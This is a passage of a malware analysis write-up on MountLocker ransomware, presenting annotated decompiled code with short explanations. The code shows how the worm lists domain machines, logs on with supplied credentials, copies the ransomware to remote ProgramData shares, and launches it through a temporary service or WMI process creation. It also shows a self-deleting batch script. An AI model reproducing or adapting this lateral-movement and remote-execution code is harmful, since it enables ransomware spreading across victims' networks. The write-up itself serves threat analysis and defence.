{ sub_140003290(worm_info); f_ml_write_format_string_to_log_file_or_console(3, L"Enum PC into domain... FINISHED\r\n"); return 1; } } err_code_1 = (unsigned __int16)hres; if ( (hres & 0xFFFF0000) != 0x80070000 ) { err_code_1 = v6; } switch ( err_code_1 ) { case 0x52E: err_str = L"LOGON_ERROR"; break; case 5: err_str = L"ACCESS_DENIED"; break; case 8: err_str = L"NOT_ENOUGH_MEMORY"; break; case 0x35: err_str = L"BAD_PATH_OR_OFFLINE"; break; default: wsprintfW(v12, L"%0.8X"); err_str = v12; break; } f_ml_write_format_string_to_log_file_or_console(3, L"[ERROR] locker.worm > enum pc into domain error=%s\r\n", err_str); return 0; } ## + Use WNetAddConnection2W to make a connection to remote target PC by using the provided username and password arg: ``` ----- ``` __int64 __fastcall f_ml_launch_ransomware_remotely(WCHAR DN_PC_Name) { int ret; // edi DWORD connRes; // eax MAPDST WCHAR *err_str; // r8 HANDLE h_proc_heap; // rax WCHAR v8[24]; // [rsp+20h] [rbp-B8h] WCHAR Name[68]; // [rsp+50h] [rbp-88h] ret = 0; if ( g_szUserName ) { // use WNetAddConnection2W connRes = f_ml_establish_connection_with_remote_pc(DN_PC_Name, g_szUserName, g_szPassword); // If the function fails, log errors if ( connRes ) { if ( (connRes & 0xFFFF0000) == 0x80070000 ) { connRes = (unsigned __int16)connRes; } switch ( connRes ) { case 0x52Eu: err_str = L"LOGON_ERROR"; break; case 5u: err_str = L"ACCESS_DENIED"; break; case 8u: err_str = L"NOT_ENOUGH_MEMORY"; break; case 0x35u: err_str = L"BAD_PATH_OR_OFFLINE"; break; default: wsprintfW(v8, L"%0.8X"); err_str = v8; break; } f_ml_write_format_string_to_log_file_or_console(1, L"[WARN] locker.worm > logon on server error=%s pcname=%s \r\n", err_str, DN_PC_Name); } else { ret = 1; } } f_ml_drop_and_launch_ransomware(DN_PC_Name); if ( ret ) { wsprintfW(Name, L"\\\\%s", DN_PC_Name); WNetCancelConnection2W(Name, 0, 1); } ``` ----- ``` if ( !DN_PC_Name ) { return 0i64; } h_proc_heap = GetProcessHeap(); HeapFree(h_proc_heap, 0, DN_PC_Name); return 0i64; } ## … then try to drop ransomware to remote target PC: ``` ----- ``` remote_victim_info.copy_file_to_share_resource_flag 0; remote_victim_info.rand_num = GetTickCount(); remote_victim_info.PC_Name = DN_PC_Name; remote_victim_info.ProgramData_path = L"C:\\ProgramData"; remote_victim_info.win32_err_code = ERROR_NOT_FOUND; *(_OWORD *)&remote_victim_info.file_path = 0i64; wsprintfW(remoteProgramData_path, L"\\\\%s\\C$\\ProgramData", DN_PC_Name); f_ml_processing_shared_resource_and_drop_itself(remoteProgramData_path, &remote_victim_info); if ( !remote_victim_info.copy_file_to_share_resource_flag ) { remote_victim_info.ProgramData_path = 0i64; res = f_ml_retrieve_shared_resource_info_and_exec_func( remote_victim_info.PC_Name, f_ml_processing_shared_resource_and_drop_itself, &remote_victim_info); v3 = res; if ( res ) { if ( (res & 0xFFFF0000) == 0x80070000 ) { v3 = (unsigned __int16)res; } switch ( v3 ) { case 0x52E: errStr = L"LOGON_ERROR"; break; case 5: errStr = L"ACCESS_DENIED"; break; case 8: errStr = L"NOT_ENOUGH_MEMORY"; break; case 0x35: errStr = L"BAD_PATH_OR_OFFLINE"; break; default: wsprintfW(v28, L"%0.8X"); errStr = v28; break; } szEnum_share_err = L"\t%s... ENUM shares error=%s\r\n"; LABEL_15: f_ml_write_format_string_to_log_file_or_console(3, szEnum_share_err, remote_victim_info.PC_Name, errStr); v6 = 0; goto LABEL_94; } if ( !remote_victim_info.copy_file_to_share_resource_flag ) { err_code = LOWORD(remote_victim_info.win32_err_code); if ( (remote_victim_info.win32_err_code & 0xFFFF0000) != 0x80070000 ) { err_code = remote_victim_info.win32_err_code; ``` ----- ``` } switch ( err_code ) { case 0x52Eu: errStr = L"LOGON_ERROR"; break; case 5u: errStr = L"ACCESS_DENIED"; break; case 8u: errStr = L"NOT_ENOUGH_MEMORY"; break; case 0x35u: errStr = L"BAD_PATH_OR_OFFLINE"; break; default: wsprintfW(v28, L"%0.8X"); errStr = v28; break; } szEnum_share_err = L"\t%s... COPY error=%s\r\n"; goto LABEL_15; } } ``` ----- ``` __int64 __fastcall f_ml_processing_shared_resource_and_drop_itself(const WCHAR *remoteProgramData_path, ml_worm_remote_victim_info *victim_info) { const WCHAR *lpFileName; // rax wchar_t *ProgramData_path; // rdx const OLECHAR *cmd; // rax BOOL copyRes; // eax victim_info->copy_file_to_share_resource_flag = 0; // check path not have ADMIN$ or IPC$ if ( StrStrIW(remoteProgramData_path, L"\\ADMIN$") || StrStrIW(remoteProgramData_path, L"\\IPC$") ) { return 1i64; } // build random file name lpFileName = (const WCHAR *)f_ml_format_input_string(L"%s\\%u.exe", remoteProgramData_path, victim_info->rand_num); ProgramData_path = victim_info->ProgramData_path; victim_info->file_path = lpFileName; if ( ProgramData_path ) { cmd = (const OLECHAR *)f_ml_format_input_string(L"\"%s\\%u.exe\" %s /NOLOG", ProgramData_path, victim_info->rand_num, g_params_arg_value); } else { cmd = (const OLECHAR *)f_ml_format_input_string(L"\"%s\" %s /NOLOG", lpFileName, g_params_arg_value); } victim_info->szStartCmd = cmd; copyRes = CopyFileW(lpMountLockerPath, victim_info->file_path, 0); victim_info->copy_file_to_share_resource_flag = copyRes; if ( copyRes ) { return 0i64; } victim_info->win32_err_code = GetLastError(); return 1i64; } ## After successful drop, try to launch the payload on the remote host based on the /NETWORK argument + Execute payload through a service. Service Name: Update Command: cmd.exe /c start " payload_path params /NOLOG" ``` ----- ``` if ( g_network_type NETWORK_SERVICE ) { launch_cmd = (WCHAR *)f_ml_format_input_string(L"cmd.exe /c start \"\" %s", remote_victim_info.szStartCmd); if ( !launch_cmd ) { res_1 = 8; log_error: err_code = (unsigned __int16)res_1; if ( (res_1 & 0xFFFF0000) != 0x80070000 ) { err_code = res_1; } switch ( err_code ) { case 0x52Eu: errStr = L"LOGON_ERROR"; break; case 5u: errStr = L"ACCESS_DENIED"; break; case 8u: errStr = L"NOT_ENOUGH_MEMORY"; break; case 0x35u: errStr = L"BAD_PATH_OR_OFFLINE"; break; default: wsprintfW(v27, L"%0.8X"); errStr = v27; break; } v11 = L"\t%s... SERVICE error=%u\r\n"; goto LABEL_90; } res_1 = f_ml_start_service(&remote_victim_info, launch_cmd); if ( res_1 ) { goto log_error; } LABEL_92: f_ml_write_format_string_to_log_file_or_console(3, L"\t%s... OK\r\n", DN_PC_Name); goto LABEL_93; } ``` ----- ``` __int64 __fastcall f_ml_start_service(ml_worm_remote_victim_info service_info, WCHAR *launch_cmd) { DWORD rand_num; // eax const WCHAR *lpPassword; // rdi const WCHAR *lpServiceStartName; // r14 SC_HANDLE schSCManager; // rax MAPDST DWORD ret; // ebx SC_HANDLE hService; // rax MAPDST DWORD win32_err_code; // eax HANDLE h_proc_heap; // rax WCHAR ServiceName[32]; // [rsp+70h] [rbp-48h] rand_num = GetTickCount(); wsprintfW(ServiceName, L"Update%u", rand_num); lpPassword = g_szPassword; lpServiceStartName = g_szUserName; // Required to call the CreateService function to create a service object and add it to the database. schSCManager = OpenSCManagerW(service_info->PC_Name, 0i64, SC_MANAGER_CREATE_SERVICE); ret = 0; if ( schSCManager ) { hService = CreateServiceW( schSCManager, ServiceName, ServiceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, 0, launch_cmd, 0i64, 0i64, 0i64, lpServiceStartName, lpPassword); if ( hService ) { if ( !StartServiceW(hService, 0, 0i64) ) { win32_err_code = GetLastError(); if ( win32_err_code == ERROR_SERVICE_REQUEST_TIMEOUT ) { win32_err_code = 0; } ret = win32_err_code; } DeleteService(hService); CloseServiceHandle(hService); } else { ret = GetLastError(); ``` ----- ``` } CloseServiceHandle(schSCManager); } else { ret = GetLastError(); } h_proc_heap = GetProcessHeap(); HeapFree(h_proc_heap, 0, launch_cmd); return ret; } ## + Execute payload through WMI by using IWbemServices COM interface: launchWMIRes = f_ml_launch_ransom_through_WMI(DN_PC_Name, g_szUserName, g_szPassword, remote_victim_info.szStartCmd); if ( launchWMIRes == WBEM_E_LOCAL_CREDENTIALS ) { launchWMIRes = f_ml_launch_ransom_through_WMI(DN_PC_Name, 0i64, 0i64, remote_victim_info.szStartCmd); } if ( !launchWMIRes ) { goto LABEL_92; } v9 = (unsigned __int16)launchWMIRes; if ( (launchWMIRes & 0xFFFF0000) != 0x80070000 ) { v9 = launchWMIRes; } switch ( v9 ) { case 0x52E: errStr = L"LOGON_ERROR"; break; case 5: errStr = L"ACCESS_DENIED"; break; case 8: errStr = L"NOT_ENOUGH_MEMORY"; break; case 0x35: errStr = L"BAD_PATH_OR_OFFLINE"; break; default: wsprintfW(v27, L"%0.8X"); errStr = v27; break; } v11 = L"\t%s... WMI error=%s\r\n"; ``` ----- ``` HRESULT __fastcall f_ml_launch_ransom_through_WMI(WCHAR szComputerName, const WCHAR *szUserName, const WCHAR *szPassword, const OLECHAR *szCommand) { HRESULT result; // eax HRESULT hres; // ebx IWbemClassObject *pOutParams; // [rsp+40h] [rbp-40h] MAPDST IWbemClassObject *pClassInstance; // [rsp+48h] [rbp-38h] IWbemClassObject *pInstance; // [rsp+50h] [rbp-30h] IWbemClassObject *pIWbemClassObject; // [rsp+58h] [rbp-28h] IWbemServices *pIWbemServices; // [rsp+60h] [rbp-20h] MAPDST VARIANT varCommand; // [rsp+68h] [rbp-18h] pIWbemServices = 0i64; pIWbemClassObject = 0i64; pInstance = 0i64; pClassInstance = 0i64; pOutParams = 0i64; result = f_ml_obtain_pointer_to_IWbemServices(szComputerName, szUserName, szPassword, &pIWbemServices); if ( result ) { return result; } // Set up to call the Win32_Process::Create method hres = pIWbemServices->lpVtbl->GetObjectA(pIWbemServices, L"Win32_Process", 0i64, 0i64, (__int64 *)&pIWbemClassObject, 0i64); if ( !hres ) { if ( !pIWbemClassObject ) { goto set_err; } hres = pIWbemClassObject->lpVtbl->GetMethod(pIWbemClassObject, L"Create", 0i64, (__int64 *)&pInstance, 0i64); if ( hres ) { goto release_obj; } if ( !pInstance ) { set_err: hres = E_POINTER; goto release_obj; } hres = pInstance->lpVtbl->SpawnInstance(pInstance, 0i64, (__int64 *)&pClassInstance); if ( !hres ) { if ( pClassInstance ) { // Create the values for the in-parameters and // Store the value for the in-parameters varCommand.vt = hres + 8; varCommand.llVal = (LONGLONG)SysAllocString(szCommand); hres = pClassInstance->lpVtbl->Put(pClassInstance, L"CommandLine", 0i64, ``` ----- ``` (__int16 )&varCommand, 0); SysFreeString(varCommand.bstrVal); if ( hres ) { goto release_obj; } // Execute Method hres = pIWbemServices->lpVtbl->ExecMethod( pIWbemServices, L"Win32_Process", L"Create", 0i64, 0i64, pClassInstance, (__int64 *)&pOutParams, 0i64); if ( hres ) { goto release_obj; } if ( pOutParams ) { varCommand.vt = 1; hres = pOutParams->lpVtbl->Get(pOutParams, L"ProcessId", 0i64, (VARIANT **)&varCommand, 0i64, 0i64); if ( !hres && varCommand.vt == 1 ) { hres = 1; } goto release_obj; } } goto set_err; } } release_obj: if ( pOutParams ) { pOutParams->lpVtbl->Release(pOutParams); } if ( pClassInstance ) { pClassInstance->lpVtbl->Release(pClassInstance); } if ( pInstance ) { pInstance->lpVtbl->Release(pInstance); } if ( pIWbemClassObject ) { pIWbemClassObject->lpVtbl->Release(pIWbemClassObject); } pIWbemServices->lpVtbl->Release(pIWbemServices); return hres; } ``` ----- ## Update log stats, deletes itself After completing the encryption process on the victim machine, it updates log statistics: ``` f_ml_write_format_string_to_log_file_or_console(a1, L"==[ STATS ]=======================\r\n"); f_ml_write_format_string_to_log_file_or_console(a1, L"Total crypted:\t%.3f GB\t\t\r\n", (float)((float)(int)qword_140013360 * 9.3132257e-10)); f_ml_write_format_string_to_log_file_or_console(a1, L"Crypt Avg:\t%0.3f MB/s\t\t\r\n", crypt_avg); f_ml_write_format_string_to_log_file_or_console(a1, L"Files:\t\t%0.3f files/s\t\t\r\n", num_files); f_ml_write_format_string_to_log_file_or_console(a1, L"Time:\t\t%u sec\t\t\r\n", time); f_ml_write_format_string_to_log_file_or_console(a1, L"==[ DIRS ]========================\r\n"); f_ml_write_format_string_to_log_file_or_console(a1, L"Total:\t\t%u\t\t\r\n", dword_140013350); f_ml_write_format_string_to_log_file_or_console(a1, L"Skipped:\t%u\t\t\r\n", dword_140013354); f_ml_write_format_string_to_log_file_or_console(a1, L"Error:\t\t%u\t\t\r\n", dword_140013358); f_ml_write_format_string_to_log_file_or_console(a1, L"==[ FILES ]=======================\r\n"); f_ml_write_format_string_to_log_file_or_console(a1, L"Total:\t\t%u\t\t\r\n", dword_140013320); f_ml_write_format_string_to_log_file_or_console(a1, L"Locked:\t\t%u\t\t\r\n", dword_140013324); f_ml_write_format_string_to_log_file_or_console(a1, L"==[ FILES SKIPPED ]===============\r\n"); f_ml_write_format_string_to_log_file_or_console(a1, L"Black:\t\t%u\t\t\r\n", dword_140013328); f_ml_write_format_string_to_log_file_or_console(a1, L"Locked:\t\t%u\t\t\r\n", dword_14001332C); f_ml_write_format_string_to_log_file_or_console(a1, L"Manual:\t\t%u\t\t\r\n", dword_140013330); f_ml_write_format_string_to_log_file_or_console(a1, L"Prog:\t\t%u\t\t\r\n", dword_140013334); f_ml_write_format_string_to_log_file_or_console(a1, L"Size:\t\t%u\t\t\r\n", dword_140013338); f_ml_write_format_string_to_log_file_or_console(a1, L"==[ FILE ERROR ]==================\r\n"); f_ml_write_format_string_to_log_file_or_console(a1, L"Open:\t\t%u\t\t\r\n", dword_14001333C); f_ml_write_format_string_to_log_file_or_console(a1, L"Read:\t\t%u\t\t\r\n", dword_140013344); f_ml_write_format_string_to_log_file_or_console(a1, L"Write:\t\t%u\t\t\r\n", dword_140013348); f_ml_write_format_string_to_log_file_or_console(a1, L"Pos:\t\t%u\t\t\r\n", dword_14001334C); f_ml_write_format_string_to_log_file_or_console(a1, L"Rename:\t\t%u\t\t\r\n", dword_140013340); Malware checks the /NODEL argument. If this value is 0, it will delete itself. ``` ----- ``` if ( !g_nodel_flag ) { f_ml_exec_self_deletion(); } __int64 f_ml_exec_self_deletion() { __int64 tmp_path_len; // rbx DWORD rand_num; // eax struct _STARTUPINFOW StartupInfo; // [rsp+50h] [rbp-B0h] struct _PROCESS_INFORMATION ProcessInformation; // [rsp+C0h] [rbp-40h] WCHAR wsz_temp_path[264]; // [rsp+E0h] [rbp-20h] WCHAR CommandLine[264]; // [rsp+2F0h] [rbp+1F0h] tmp_path_len = GetTempPathW(MAX_PATH, wsz_temp_path); rand_num = GetTickCount(); wsprintfW(&wsz_temp_path[tmp_path_len], L"\\%0.8X.bat", rand_num); if ( !f_ml_create_file(wsz_temp_path, "attrib -s -r -h %1\r\n:l\r\ndel /F /Q %1\r\nif exist %1 goto l\r\ndel %0 ", 0x41u) ) { return 0i64; } memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 0x68; StartupInfo.dwFlags = 1; StartupInfo.wShowWindow = 0; wsprintfW(CommandLine, L"\"%s\" \"%s\"", wsz_temp_path, lpMountLockerPath); if ( CreateProcessW(0i64, CommandLine, 0i64, 0i64, 0, CREATE_NO_WINDOW, 0i64, 0i64, &StartupInfo, &ProcessInformation) ) { ExitProcess(0); } return 0i64; } ``` -----